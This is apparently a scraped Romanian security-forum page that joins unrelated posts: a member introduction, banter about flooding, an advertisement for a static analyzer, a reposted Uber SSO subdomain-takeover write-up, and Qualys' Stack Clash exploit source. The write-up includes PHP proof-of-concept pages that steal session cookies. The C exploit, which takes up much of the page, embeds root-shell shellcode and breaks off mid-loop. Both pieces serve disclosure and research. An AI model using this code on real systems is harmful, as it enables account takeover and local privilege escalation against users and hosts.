Leaderboard

Salut, Imi pare bine ca am gasit acest forum.. de multa vreme ma intrebam unde as putea gasi o comunitate de oameni pasionati de securitate cu care sa pot schimba idei. Mersi Alex de recomandare ! Am 29 de ani, lucrez in IT ca administrator pt diverse sisteme, si pe langa asta fac un Master in IT Security la Facultatea de Stiinte Aplicate Technikum din Vienna (am terminat primul an). Am copilarit printre "hackeri", iar in timpul liceului eram script kiddie, imi placea sa le fac farse vecinilor/colegilor, etc.. dar nu vreau sa intru in detalii, ca poate citeste vreunul.. Dupa liceu visul meu era sa ma fac Database Administrator si am invatat domeniul asta calumea, dar apoi m-am plictisit de el. De vreo 3 ani la munca dupa un proiect de securitate in care a trebuit sa schimbam toate sistemele ca sa fie conforme cu anumite standarde de securitate, mi-am dat seama cat de fain e domeniul securitatii si am inceput sa invat in special de pe cybrary, apoi m-am bagat la master pt ca mi-am dat seama ca am nevoie de cineva care sa ma indrume ce anume sa invat.. Datorita cursurilor de la facultate si a cursurilor de pe cybrary si HackingDojo (nu recomand), am invatat un pic de hacking: Web (xss, csrf, SQL injection, RCE, LFI, path traversal), OS/App: buffer overflows, DLL hijacking, DLL forwarding, information gathering, Privilege escalation, Kerberos hacking, creare de module metasploit. Dar de fapt nu ma intereseaza asa de tare sa invat hacking, vreau doar sa stiu ce e posibil...care sunt tehnicile de hacking. Sunt alte domenii din securitate care ma intereseaza mai tare.. Criptografie, Securitatea Protocoalelor: TLS, DNSSEC, IPSEC, protocoale de autentificare si autorizare, Security Detection and Defense...etc.. Programare : C#- destul de bine, python - mediocru, Ruby, Java- ma descurc.

Salut Radu, Desigur, te ajutam cu placere daca ne raspunzi la urmatoarele intrebari: - ce e aia flood? - ce e aia domeniu DDoS? - care este diferenta dintre cei doi termeni de mai sus? - ce vrei sa faci mai exact? - de ce vrei sa faci asta? - esti metinar? - crezi ca rezolvi ceva facand asta? Uite, din partea celor care inteleg divinitatea absoluta si astralul concurential: .-. .-. |U| | | | | | | | | | | _| |_ _| |_ | | | |-. | |_| |-. /| ` | / )| |_|_| | | | | |-' `-^-' | | | || | \ / \ ' / | | | | | | | | Cu stima, eu

Forex? Bani Matematica Informatii Iti dau un exemplu bitcoin aflasem de Bitcoin cand era pe duca liberty reserved un Bitcoin Costa 90 centi am vrut sa cumpar si eu dar ce Masa fac cu ei? Citisem ca un American si a cumparat pizza cu Bitcoin in valoare de 13 Bitcoin family size... Apoi am vrut sa cumpar 1 Bitcoin ca sa nu mor prost. Dar la fel de fraier am trecut la Alta idee...... True story the sfarsit

Static code analyzer for C, C++ and C# PVS-Studio is a tool for bug detection in the source code of programs, written in C, C++ and C#. It works in Windows and Linux environment. PVS-Studio performs static code analysis and generates a report that helps a programmer find and fix bugs. PVS-Studio performs a wide range of code checks, it is also useful to search for misprints and Copy-Paste errors. Examples of such errors: V501, V517, V522, V523, V3001. The main value of static analysis is in its regular use, so that errors are identified and fixed at the earliest stages. There is no point in wasting 50 hours looking for a bug that could be found with static analysis. So, let's point out that again - the main idea of static analysis is not to find one hidden bug on the day before the release, but to fix dozens of bugs day by day. The analyzer can be run at night on the server and warn about suspicious code fragments. Ideally, these errors can be detected and fixed before getting into the repository. PVS-Studio can automatically be launched immediately after the compiler for the files that have been just modified. It works in Windows and Linux. Download PVS-Studio for Windows x64 PVS-Studio_setup.exe 56 Mb Download PVS-Studio for Linux (x64 only) .deb 4 Mb .tgz 7 Mb .rpm 4 Mb Source: https://www.viva64.com/en/pvs-studio/

Salut, degeaba spui ca te-ai mutat de pe c++ pe perl deoarece nimeni nu o sa te creada, n-ai cum sa te muti de pe c++ atat timp cat nu ai facut nimic in c++. Toate bune si frumoase, de ce dracu ai invata perl pentru a da flood? Mai are cineva internet prin dial-up, sau care e faza? Totusi, daca chiar vrei sa inveti sa faci treaba asta, iti las niste link-uri https://seanhamptoncole.wordpress.com/2012/11/15/how-to-stop-being-stupid-in-10-easy-steps/ http://bfy.tw/CnSG

Authentication bypass on Uber’s Single Sign-On via subdomain takeover Posted on June 25, 2017 by Arne Swinnen TL;DR: Uber was vulnerable to subdomain takeover on saostatic.uber.com via Amazon CloudFront CDN. Moreover, Uber’s recently deployed Single Sign-On (SSO) system at auth.uber.com, which is based on shared cookies between all *.uber.com subdomains, was found vulnerable to session cookie theft by any compromised *.uber.com subdomain. Therefore, the impact of the subdomain takeover could be increased to Authentication Bypass of Uber’s full SSO system, yielding access to all *.uber.com subdomains protected by it (e.g. vault.uber.com, partners.uber.com, riders.uber.com, etc). Uber resolved the subdomain takeover vulnerability and granted a $5.000 bounty for the two combined issues. Single Sign-On security revisited Generally, SSO systems are (variations of) any of the following three types, in order of popularity: OAuth: Security is mainly based on whitelisted callback URLs of service providers configured at the identity providers, and CSRF protection via the “state” parameter. Flaws are often via open redirect chains, e.g. Authentication bypass on Airbnb via OAuth tokens theft. SAML & friends: Security is based on XML messages signed with pre-exchanged cryptographic keys between service and identity providers. Flaws are often XML Signature bypasses, e.g. OneLogin authentication bypass on WordPress sites that bit Uber before. Shared (session) cookies between subdomains: Security is based on the integrity of all subdomains. Any vulnerability on any subdomain that provides an attacker insight in the shared session cookies issued by the SSO system is fatal. Flaws are thus often RCE, debug logs exposure, subdomain takeover and friends on subdomains, e.g. Authentication bypass on Ubiquity’s Single Sign-On via subdomain takeover I personally believe that the first two in this list have had many problems in the past, but have improved lately in terms of security. The latter SSO based on shared session cookies between subdomains is more a technology from the past, before the former two even existed. By design, it enforces that anything that wants to leverage the SSO system to be a subdomain of the same TLD as where the SSO system is based. Since the security of the SSO system is based on the integrity of the subdomains (see aforementioned report and the Uber case below), this is quite an ironic situation. By design, it encourages to increase the attack surface enormously. Uber case Uber used OAuth as an SSO system for *.uber.com subdomains in the past, as can be seen from this recent public disclosure report by @ngalog: [Uber 8k Bug] Login CSRF + Open Redirect = Account Takeover. However recently, they’ve changed (reverted?) to a SSO system based on shared session cookies among subdomains of *.uber.com. If you now browse to any uber.com subdomain that requires authentication (e.g. central, partners, riders, vault, developer, …), you get redirected to auth.uber.com instead. Once you’ve logged in there and you visit another subdomain, you’re logged in there transparently via the SSO system at auth.uber.com, which issues temporary session cookies for every *.uber.com subdomain after being logged in once. A vulnerability was identified in this SSO system that allows any compromised subdomain on *.uber.com to transparently issue and steal valid session cookies issued for *any* uber.com subdomain by auth.uber.com, as long as the victim had already authenticated once to the SSO. Uber did have some countermeasures in place to prevent this, but these were bypassed and reported together with the subdomain takeover for increased impact. Any compromised *.uber.com subdomain could be used to perform the same attack, although Uber explicitly mentioned several *.uber.com subdomains as out of scope in their bug bounty program policy at the time of reporting (e.g. *.dev.uber.com, *.et.uber.com, drive.uber.com, etc). Subdomain takeover Subdomain saostatic.uber.com was pointing to Amazon Cloudfront CDN via a DNS CNAME, but the hostname was not registered there anymore (dangling pointer). This allowed me to fully takeover this domain, highly similar to Subdomain takeover on rider.uber.com due to non-existent distribution on Cloudfrontby Frans Rosén. I effectively took over the subdomain as a Proof of Concept and hosted a simple HTML file as proof here: Authentication bypass In Uber’s SSO system, auth.uber.com acts as Identity Provider and issues temporarily shared session cookies for https://*.uber.com (“domain=uber.com” cookie attribute) to communicate identities to Service Providers (e.g. riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com, developer.uber.com, and many more). Service Providers on their end immediately destroy the incoming temporary shared session cookies in case of erroneous (e.g. issued for other Service Provider) or successful authentication to ensure that the window for theft is small, as can be seen in the below Uber SSO Login diagram: The precious shared session cookie “_csid” can thus only be stolen between steps 9-12, which is a very short period (automatic browser redirects). Although not impossible to exploit (see Jack Whitton’s awesome CSP trick to block certain cookies from being sent to certain domains, coincidentally also on Uber’s bug bounty program), a more convenient flaw was identified that allows the shared session cookie to remain alive after step 12 in the browser’s cookie store in the diagram above. The issue is that, if the victim is already logged in at https://riders.uber.com (situation after last step 12 in diagram) when receiving a request containing a valid newly generated shared session cookie “_csid” from auth.uber.com, it is simply ignored and remains usable. Hence it stays alive in the browser until its cookie store is cleared. An attacker simply needs to replay step 3 in the above diagram as step 13 and end with an additional hidden request to https://saostatic.uber.com to steal the precious session cookie: So once an attacker gets his/her hands on the victim’s “_csid” shared session cookie for https://riders.uber.com, he/she can execute the normal login flow in their own browser and replace the issued “_csid” cookie value in step 9 to be logged in as the victim, right? Wrong. Uber had another surpising countermeasure in place, namely a variant of login cross-site request forgery protection. This is the actual updated Uber SSO Login diagram: The problem here are the GET param state=CSRFTOKEN and locally scoped state cookie that are added in step 3 by the Service Provider riders.uber.com and verified in step 11. Since we can’t steal these values from the victim’s browser, but only the “_csid” shared session cookie, this means game over, right? Unfortunately, wrong. An attacker can obtain a proper CSRFTOKEN value and accompanying state cookie value from https://riders.uber.com by starting a normal login scenario on their end (e.g. in their own browser or via a simple script). He/she can then relay the auth.uber.com URL generated by https://riders.uber.com in their own browser in step 3 to the victim’s browser to generate & steal the “_csid” shared session cookie for these values, and inject these in his/her own browser login scenario again in step 9. In this manner, the victim effectively generates the “_csid” temporary session token for the attacker’s login scenario in a separate browser, but this works flawlessly (e.g. no IP-based checks between steps were encountered). This still allows exploitation and thus victim impersonation in the following manner (we still assume that the victim is already logged in to auth.uber.com and visits a webpage under control by the attacker, so we basically continue the flow from the above diagram): Proof of concept A PoC says more than a thousand diagrams. In the PoC steps sent to Uber & showcased in the video below, the assumption is made that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim’s browser, which was not the case. However, it could’ve easily been generated with Let’s Encrypt. Open the victim’s browser & browse to https://riders.uber.com. After being redirected to https://auth.uber.com, login with the victim’s credentials so you end up on https://riders.uber.com trips dashboard again. Open a second browser tab in the victim’s browser and browse to https://saostatic.uber.com/prepareuberattack.php. Accept any certificate warnings that you may receive here – again, we’re only simulating that the domain has a valid SSL certificate. Once the page has finished loading you should see a URL, “Cookie: ” string and a “Set-Cookie: ” strings underneath each other. This is all info gathered under the hood by the attacker’s webserver that is required to login as the victim now – everything has been stolen automagically. Open the separate attacker’s browser and setup an intercepting proxy tool to intercept requests and responses. Browse to the URL displayed on the prepareuberattack.php page output and intercept this request. Now copy the “Cookie: …” string displayed on prepareuberattack.php and paste it into the request headers. The response should be a redirect to https://riders.uber.com/trips, indicating successful authentication bypass. Last but not least, copy all the “Set-Cookie: ” lines from the prepareuberattack.php page output and paste them in the response before forwarding it to the browser. This ensures that the stolen cookies are permanently injected in the attacker’s browser. You are now logged in as the victim in the attacker’s browser. In a real attack scenario, an attacker would stealthily load https://saostatic.uber.com/prepareuberattack.php in the victim’s browser, e.g. through an iframe. Likewise, he/she would probably not display the URL and all the cookies on the resulting page, but store this on the server-side, ready to be abused in a stealthy fashion. Although it’s a lengthy explanation, the PoC video showcases how quick & effective exploitation by an attacker can be. The code of the https://saostatic.uber.com/prepareuberattack.php and https://saostatic.uber.com/uberattack.php pages is provided below. This was written quick & dirty for PoC purposes, but it did the job: prepareuberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <html> <body> <script> <?php function HandleHeaderLine( $curl, $header_line ) { preg_match("/state=([^;]*);/", $header_line, $matches); if(sizeof($matches) > 0) { print("var cookiestate = '" . $matches[1] . "';\n"); } preg_match("/Location: (.*)/", $header_line, $matches); if(sizeof($matches) > 0) { print("var loc = '" . trim($matches[1]) . "';\n"); } return strlen($header_line); } $c = curl_init('https://riders.uber.com'); curl_setopt($c, CURLOPT_VERBOSE, 1); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine"); $page = curl_exec($c); ?> var csrf = loc.substring(loc.lastIndexOf("=")+1); var img = document.createElement("IMG"); img.onerror = function () { var iframe = document.createElement("iframe"); iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf); iframe.setAttribute("width", "100%"); iframe.setAttribute("height", "10000"); document.body.appendChild(iframe); } img.src=loc; </script> </body> </html> uberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html> <body> <?php $cookiestring = "state=" . $_GET["cookiestate"] . "; "; $interestincookies = array("_udid", "_csid", "sid"); foreach ($_COOKIE as $name => $value) { if (in_array($name,$interestincookies)) { $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; "; $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";</br>"; } } print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />"; print "Cookie: " . $cookiestring . "<br />"; print "<br />" . $cookiestringset . "<br />"; ?> </body> </html> The first file can be hosted anywhere, the second file must be hosted on the hijacked subdomain (since it reads & reflects the incoming session cookies). By simply changing “riders.uber.com” to any other subdomain of uber.com in these two PHP files, an attacker could generate valid sessions for these subdomains on behalf of the victim, e.g. vault.uber.com, partners.uber.com, developer.uber.com, … Recommendations The recommendations provided to Uber were twofold: Resolve the subdomain takeover of saostatic.uber.com by removing the dangling CNAME to AWS CloudFront CDN. Resolve the Authentication Bypass issue by any of the following, in order of priority: Revert the SSO system back to OAuth 2, since this does not have the side-effect of actually encouraging a large attack surface like the current shared session SSO system. Or, implement an IP address check: Store a user’s external IP address when issuing a shared “_csid” session cookie on auth.uber.com (identity provider) and verify that users presenting this shared session cookie to service providers on *.uber.com have the same external IP address, to prevent relay attacks like the one described above. There is a residual risk here, namely when the attacker has the same external IP address as its victim (e.g. on the same corporate network/wireless access point/…). Or, accept the inherent risk and include all *.uber.com subdomains in your bug bounty program scope, since they have the potential to fully compromise the SSO system, including the high-value targets vault.uber.com, partners.uber.com and riders.uber.com Ultimately, Uber removed the dangling CNAME and decided to implement the IP address check to decrease the exposed risk through their current cookie based SSO system. They thus opted to accept the residual risk involved. Timeline 07/04/2017: Submitted bug report to Uber 11/04/2017: Triaged by Uber 14/04/2017: $500 minimum bounty awarded 06/06/2017: Pinged Uber about the report, since I still owned saostatic.uber.com at this point 06/06/2017: Response from Uber that this report fell through the cracks, starting mitigations now 07/06/2017: DNS CNAME record for saostatic.uber.com removed, report marked as closed 14/06/2017: Extra $4.500 bounty awarded 07/07/2017: IP address check deployed by Uber and confirmed after retest 11/07/2017: Permission granted to publish blogpost by Uber Arne Swinnen Belgian. IT Security. Bug Bounty Hunter. Sursa: https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/

/* * Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <elf.h> #include <fcntl.h> #include <limits.h> #include <link.h> #include <signal.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define PAGESZ ((size_t)4096) #define ALIGN ((size_t)16) #define PIE_BASE ((uintptr_t)0x80000000) #define PIE_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) static const struct target * target; static const struct target { const char * name; const char * repl_lib; } targets[] = { { .name = "Debian 9 (stretch)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Debian 10 (buster)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 14.04.5 (Trusty Tahr)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 16.04.2 (Xenial Xerus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 17.04 (Zesty Zapus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Fedora 23 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 24 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 25 (Server Edition)", .repl_lib = "lib", }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { uintptr_t map_start, map_end; uintptr_t dyn_start, dyn_end; }; static struct elf_info get_elf_info(const char * const binary) { static struct elf_info elf; const int fd = open(binary, O_RDONLY | O_NOFOLLOW); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); unsigned int i; { int interp = 0; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type == PT_INTERP) interp = 1; if (phdr->p_type != PT_LOAD) continue; if (elf.map_start) die(); if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != PAGESZ) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (phdr->p_vaddr) die(); break; case PF_R | PF_W: elf.map_start = phdr->p_vaddr & ~(PAGESZ-1); elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (!elf.map_start) die(); break; default: die(); } } if (!interp) die(); if (!elf.map_start) die(); } for (i = 0; i < ehdr->e_shnum; i++) { const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i; if (!(shdr->sh_flags & SHF_ALLOC)) continue; if (shdr->sh_size <= 0) die(); if (shdr->sh_size >= SAFESZ) die(); if (shdr->sh_addr >= SAFESZ) die(); #undef SAFESZ const uintptr_t start = shdr->sh_addr; const uintptr_t end = start + shdr->sh_size; if (!(shdr->sh_flags & SHF_WRITE)) { if (start < elf.map_end && end > elf.map_start) die(); continue; } if (start < elf.map_start || end > elf.map_end) die(); if (shdr->sh_type != SHT_DYNAMIC) continue; if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die(); if (elf.dyn_start) die(); elf.dyn_start = start; elf.dyn_end = end; if (!elf.dyn_start) die(); } if (!elf.dyn_start) die(); free(buf); return elf; } static void create_needed_lib(const char * const needed) { static struct lib { union { struct { ElfW(Ehdr) e; ElfW(Phdr) p1; ElfW(Phdr) p2; ElfW(Phdr) p3; } h; char align[PAGESZ]; } u; char code1[PAGESZ]; char code3[PAGESZ]; char code2[8<<20]; } lib = { .u = { .h = { .e = { .e_ident = { ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3, ELFCLASS32, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV, 0 }, .e_type = ET_DYN, .e_machine = EM_386, .e_version = EV_CURRENT, .e_phoff = offsetof(struct lib, u.h.p1), .e_ehsize = sizeof(ElfW(Ehdr)), .e_phentsize = sizeof(ElfW(Phdr)), .e_phnum = 3 }, .p1 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code1), .p_vaddr = 0, .p_filesz = sizeof(lib.code1), .p_memsz = sizeof(lib.code1), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p2 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code2), .p_vaddr = -(sizeof(lib.code2) + PAGESZ), .p_filesz = sizeof(lib.code2), .p_memsz = sizeof(lib.code2), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p3 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code3), .p_vaddr = sizeof(lib.code1), .p_filesz = sizeof(lib.code3), .p_memsz = sizeof(lib.code3), .p_flags = PF_R | PF_X, .p_align = PAGESZ } }}}; static const char shellcode[] = "\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8" "\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00" "\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00" "\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00" "\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00" "\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00" "\x00\x00\x00\xcd\x80"; memset(lib.code2, 0x90, sizeof(lib.code2)); if (sizeof(lib.code2) <= sizeof(shellcode)) die(); memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode)); const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die(); if (fchmod(fd, 0755)) die(); if (close(fd)) die(); } static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf = get_elf_info(binary); printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start); printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start); printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start); printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = strlen(origin); { size_t i; for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); static struct { double probability; size_t len, gwr, cnt, dst; } best; #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR (sizeof(llp) - sizeof(LLP)) { size_t len; for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) { size_t gwr; for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1); const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; if (gwr + bwr >= elf.map_end - elf.dyn_start) continue; const size_t min = MIN(gwr, elf.dyn_end - elf.map_start); if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue; const double probability = (double)min / (double)(PIE_RAND + STACK_RAND); if (best.probability < probability) { best.probability = probability; best.len = len; best.gwr = gwr; best.cnt = cnt; best.dst = dst; printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n", len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability); } } } } } if (!best.probability) die(); if (STACK_BASE <= PIE_BASE) die(); const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2); printf("stack_size %zu\n", stack_size); #define STRTAB_SIZE (2 * STACK_RAND) #define NEEDED "./3456789abcdef" if (sizeof(NEEDED) != ALIGN) die(); static union { uintptr_t p; char s[sizeof(void *)]; } strtab_addr; { static const ElfW(Dyn) dyn; if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die(); } { uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2; const uintptr_t first_needed_addr = needed_addr; for (;; needed_addr += sizeof(NEEDED)) { if (needed_addr % sizeof(NEEDED)) die(); strtab_addr.p = needed_addr / 2; size_t i; for (i = 0; i < sizeof(strtab_addr.s); i++) { if (strchr("$:;\\", strtab_addr.s[i])) { if (i >= 3) die(); break; } } if (i >= sizeof(strtab_addr.s)) break; } printf("needed %08x -> %08x (first %08x -> %08x)\n", needed_addr, strtab_addr.p, first_needed_addr, needed_addr - first_needed_addr); if (needed_addr < first_needed_addr) die(); if (needed_addr - first_needed_addr >= STACK_RAND / 4) die(); } #define INITIAL_STACK_EXPANSION (131072UL) const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED); if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die(); static char clash[MAX_ARG_STRLEN]; memset(clash, ' ', sizeof(clash)-1); if ((strlen(clash) + 1) % ALIGN) die(); const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED))) / (sizeof(char *) + sizeof(clash)); printf("#needed %zu #clash %zu\n", needed_envs, clash_envs); { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', best.len); const char * const bwrp = cp + best.gwr; cp += elf.dyn_start % ALIGN; if (cp >= bwrp) die(); { static const ElfW(Dyn) dyn; for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) { ElfW(Dyn) * const dynp = (void *)cp; dynp->d_tag = DT_AUXILIARY; dynp->d_un.d_ptr = strtab_addr.p; } } if (cp > bwrp) die(); cp = (char *)bwrp; if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); size_t i; for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if ((strlen(llp) + 1) % ALIGN) die(); if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; { const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN; if (width <= 0) die(); if ((unsigned int)width > ALIGN) die(); if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0) >= sizeof(lhcm)) die(); if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die(); } const size_t args = 2 + clash_envs + needed_envs + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; *ap++ = "--help"; size_t i; for (i = 0; i < clash_envs; i++) { *ap++ = clash; } for (i = 0; i < needed_envs; 